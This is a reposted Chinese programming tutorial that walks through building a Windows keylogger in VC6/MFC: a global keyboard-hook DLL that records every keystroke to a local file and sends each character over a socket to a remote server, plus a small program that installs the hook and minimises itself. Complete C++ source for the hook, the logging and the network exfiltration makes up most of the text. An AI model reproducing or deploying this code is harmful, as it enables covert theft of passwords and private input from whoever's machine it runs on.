用钩子机制实现键盘监听---键盘监听器

来源:互联网 发布:淘宝改类目影响排名吗 编辑:程序博客网 时间:2024/06/01 10:00

用钩子机制实现键盘监听—键盘监听器

Windows系统是建立在事件驱动的机制上的,说穿了就是整个系统都是通过消息的传递来实现的。而钩子是Windows系统中非常重要的系统接口,用它可以截获并处理送给其他应用程序的消息,来完成普通应用程序难以实现的功能。钩子的种类很多,每种钩子可以截获并处理相应的消息,如键盘钩子可以截获键盘消息,外壳钩子可以截取、启动和关闭应用程序的消息等。本文在VC6编程环境下实现了一个简易的键盘监听器,并对Win32全局钩子的运行机制。

废话不多说,先上程序代码及实现过程

第一部分:创建动态链接库
1、创建一个 MFC AppWizard(DLL) 工程 命名为 MyHook;
2、选择MFC Extension DLL(共享MFC拷贝)类型;
3、由于VC 6.0是没有现成的钩子类,所以我们要创建一个钩子类
点击 文件->新建->C/C++ Header File,命名为CMyHook,点击 确定,生成CMyHook.h文件;
4、打开CMyHook.h文件,写入钩子类,如下:
CMyHook.h

class AFX_EXT_CLASS CMyHook : public CObject{public:    CMyHook(); //构造函数    virtual ~CMyHook(); //析构函数public:    BOOL StartHook(); //安装钩子    BOOL StopHook(); //卸载钩子};

5、打开MyHook.cpp文件,在顶部加入:#include “CMyHook.h”
6、在MyHook.cpp文件中加入全局共享数据段,如下:

   #pragma data_seg("mydata")   HHOOK glhHook=NULL;         //安装globle勾子句柄    HINSTANCE glhInstance=NULL; //DLL实例句柄   #pragma data_seg()

7、定义数据段mydata,工程-> 设置-> 连接-> 工程 选项-> 加入语句:/SECTION:mydata,rws
8、在MyHook.cpp的DLLMain函数中加入语句: glhInstance=hInstance;//插入保存DLL实例句柄
如下:

    .....    UNREFERENCED_PARAMETER(lpReserved);    if (dwReason == DLL_PROCESS_ATTACH)    {        TRACE0("MYHOOK.DLL Initializing!\n");        // Extension DLL one-time initialization        if (!AfxInitExtensionModule(MyHookDLL, hInstance))            return 0;        // Insert this DLL into the resource chain        // NOTE: If this Extension DLL is being implicitly linked to by        //  an MFC Regular DLL (such as an ActiveX Control)        //  instead of an MFC application, then you will want to        //  remove this line from DllMain and put it in a separate        //  function exported from this Extension DLL.  The Regular DLL        //  that uses this Extension DLL should then explicitly call that        //  function to initialize this Extension DLL.  Otherwise,        //  the CDynLinkLibrary object will not be attached to the        //  Regular DLL's resource chain, and serious problems will        //  result.        new CDynLinkLibrary(MyHookDLL);        glhInstance=hInstance;//插入保存DLL实例句柄    }    else if (dwReason == DLL_PROCESS_DETACH)    {    .....

9、接下来就是与钩子相关的各个函数的实现

实现回调函数

//钩子回调函数LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam){      char ch=0;      FILE *fl;      if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有键按下      {            if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) )            {                  fl=fopen("key.txt","a+");    //输出到key.txt文件                  if (wParam==VK_RETURN)                  {                        ch=' ';                  }                  else                  {                        BYTE ks[256];                        GetKeyboardState(ks);                        WORD w;                        UINT scan=0;                        ToAscii(wParam,scan,ks,&w,0);                        //ch=MapVirtualKey(wParam,2); //把虚键代码变为字符                        ch =char(w);                   }                  fwrite(&ch, sizeof(char), 1, fl);                  ConnectionTo(ch);            }            fclose(fl);      }      return CallNextHookEx( glhHook, nCode, wParam, lParam ); }

实现钩子类的构造函数、析构函数、安装、卸载

CMyHook::CMyHook(){}CMyHook::~CMyHook(){      if(glhHook)            UnhookWindowsHookEx(glhHook);}//安装钩子BOOL CMyHook::StartHook(){       BOOL bResult=FALSE;      glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhInstance,0);      if(glhHook!=NULL)      bResult=TRUE;      return bResult; }//卸载钩子BOOL CMyHook::StopHook() {      BOOL bResult=FALSE;      if(glhHook)      {            bResult= UnhookWindowsHookEx(glhHook);            if(bResult)                  glhHook=NULL;      }      return bResult;}

10、由于我们要实现监听信息的远程传输,所以我们要用到socket技术,在回调函数之前加入下列代码,创建成一个客户端

BOOL ConnectionTo(char ch){    //加载套接字    WORD wVersionRequested;//指定准备加载Winsock的库版本,如2.1    WSADATA wsaData;    int err;    SOCKET sockClient;    //初始化--连接服务器    wVersionRequested = MAKEWORD(1 ,1 );    err = WSAStartup(wVersionRequested ,&wsaData );//该函数,把wsaData数据结构中第一个字段wVersion设为wVersionRequested使用的Winsock版本    if( err!= 0){        return false;    }       if(LOBYTE(wsaData.wVersion) !=1 || HIBYTE(wsaData.wVersion) !=1 ){        WSACleanup();        return  false;    }    sockClient = socket(AF_INET,SOCK_STREAM,0);//流式  套接字    SOCKADDR_IN addrSrv ;    addrSrv.sin_addr.S_un.S_addr = inet_addr("***.**.**.**");//server IP (设置成接受信息的主机IP)    addrSrv.sin_family = AF_INET;    addrSrv.sin_port=htons(6000);  //端口    //连接服务器    connect(sockClient,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR));    //发送数据    send(sockClient,&ch,strlen(&ch),0);    return TRUE;}

11、在顶部的,引入Winsock2头文件,再点击 工程-> 设置-> 连接-> 对象/库模块-> 加入语句:wsock32.lib->确定

12、MyHook.cpp代码如下:

// MyHook.cpp : Defines the initialization routines for the DLL.//#include "stdafx.h"#include <afxdllx.h>#include "CMyHook.h"#include <Winsock2.h>#ifdef _DEBUG#define new DEBUG_NEW#undef THIS_FILEstatic char THIS_FILE[] = __FILE__;#endif#pragma data_seg("mydata")      HHOOK glhHook=NULL;         //安装globle勾子句柄       HINSTANCE glhInstance=NULL; //DLL实例句柄#pragma data_seg()static AFX_EXTENSION_MODULE MyHookDLL = { NULL, NULL };extern "C" int APIENTRYDllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved){    // Remove this if you use lpReserved    UNREFERENCED_PARAMETER(lpReserved);    if (dwReason == DLL_PROCESS_ATTACH)    {        TRACE0("MYHOOK.DLL Initializing!\n");        // Extension DLL one-time initialization        if (!AfxInitExtensionModule(MyHookDLL, hInstance))            return 0;        // Insert this DLL into the resource chain        // NOTE: If this Extension DLL is being implicitly linked to by        //  an MFC Regular DLL (such as an ActiveX Control)        //  instead of an MFC application, then you will want to        //  remove this line from DllMain and put it in a separate        //  function exported from this Extension DLL.  The Regular DLL        //  that uses this Extension DLL should then explicitly call that        //  function to initialize this Extension DLL.  Otherwise,        //  the CDynLinkLibrary object will not be attached to the        //  Regular DLL's resource chain, and serious problems will        //  result.        new CDynLinkLibrary(MyHookDLL);        glhInstance=hInstance;//插入保存DLL实例句柄    }    else if (dwReason == DLL_PROCESS_DETACH)    {        TRACE0("MYHOOK.DLL Terminating!\n");        // Terminate the library before destructors are called        AfxTermExtensionModule(MyHookDLL);    }    return 1;   // ok}BOOL ConnectionTo(char ch){    //加载套接字    WORD wVersionRequested;//指定准备加载Winsock的库版本,如2.1    WSADATA wsaData;    int err;    SOCKET sockClient;    //初始化--连接服务器    wVersionRequested = MAKEWORD(1 ,1 );    err = WSAStartup(wVersionRequested ,&wsaData );//该函数,把wsaData数据结构中第一个字段wVersion设为wVersionRequested使用的Winsock版本    if( err!= 0){        return false;    }       if(LOBYTE(wsaData.wVersion) !=1 || HIBYTE(wsaData.wVersion) !=1 ){        WSACleanup();        return  false;    }    sockClient = socket(AF_INET,SOCK_STREAM,0);//流式  套接字    SOCKADDR_IN addrSrv ;    addrSrv.sin_addr.S_un.S_addr = inet_addr("***.**.**.**");//server IP (设置成接受信息的主机IP)    addrSrv.sin_family = AF_INET;    addrSrv.sin_port=htons(6000);  //端口    //连接服务器    connect(sockClient,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR));    //发送数据    send(sockClient,&ch,strlen(&ch),0);    return TRUE;}//钩子回调函数LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam){      char ch=0;      FILE *fl;      if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有键按下      {            if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) )            {                  fl=fopen("key.txt","a+");    //输出到key.txt文件                  if (wParam==VK_RETURN)                  {                        ch=' ';                  }                  else                  {                        BYTE ks[256];                        GetKeyboardState(ks);                        WORD w;                        UINT scan=0;                        ToAscii(wParam,scan,ks,&w,0);                        //ch=MapVirtualKey(wParam,2); //把虚键代码变为字符                        ch =char(w);                   }                  fwrite(&ch, sizeof(char), 1, fl);                  ConnectionTo(ch);            }            fclose(fl);      }      return CallNextHookEx( glhHook, nCode, wParam, lParam ); }CMyHook::CMyHook(){}CMyHook::~CMyHook(){      if(glhHook)            UnhookWindowsHookEx(glhHook);}//安装钩子BOOL CMyHook::StartHook(){       BOOL bResult=FALSE;      glhHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhInstance,0);      if(glhHook!=NULL)      bResult=TRUE;      return bResult; }//卸载钩子BOOL CMyHook::StopHook() {      BOOL bResult=FALSE;      if(glhHook)      {            bResult= UnhookWindowsHookEx(glhHook);            if(bResult)                  glhHook=NULL;      }      return bResult;}

13、编译

第二部分:创建钩子程序

1、创建一个MFC的AppWizard(EXE) 工程,命名为 KeyHook
2、选择 创建新的工作空间 , 点击确定
3、找到刚才编译完成的MyHook文件夹,将CMyHook.h和MyHook.dll、MyHook.lib(在Debug文件夹中) 复制到KeyHook文件夹中
4、点击 工程-> 添加到工程-> 文件-> 选择CMyHook.h和MyHook.lib-> 点击确定
5、设置库链接,点击 工具-> 选项-> 目录-> 路径-> 加入当前KeyHook文件夹的路径
6、在KeyHookDlg.h中加入包含语句:#include “CMyHook.h”
7、在KeyHookDlg.h中添加私有数据成员:
CMHook m_hook;//加入钩子类作为数据成员
8、把OK按钮ID改为ID_HOOK,写安装和卸载的实现代码

void CKeyHookDlg::OnHook() {    // TODO: Add your control notification handler code here    m_hook.StartHook();    ShowWindow(SW_MINIMIZE);}void CKeyHookDlg::OnCancel() {    // TODO: Add extra cleanup here    m_hook.StopHook();    CDialog::OnCancel();}

9、编译生成可执行文件

 点击确定,安装钩子;键盘的按下会显示在服务器端,同时也会记入本机的key.tet文件中
3 0
原创粉丝点击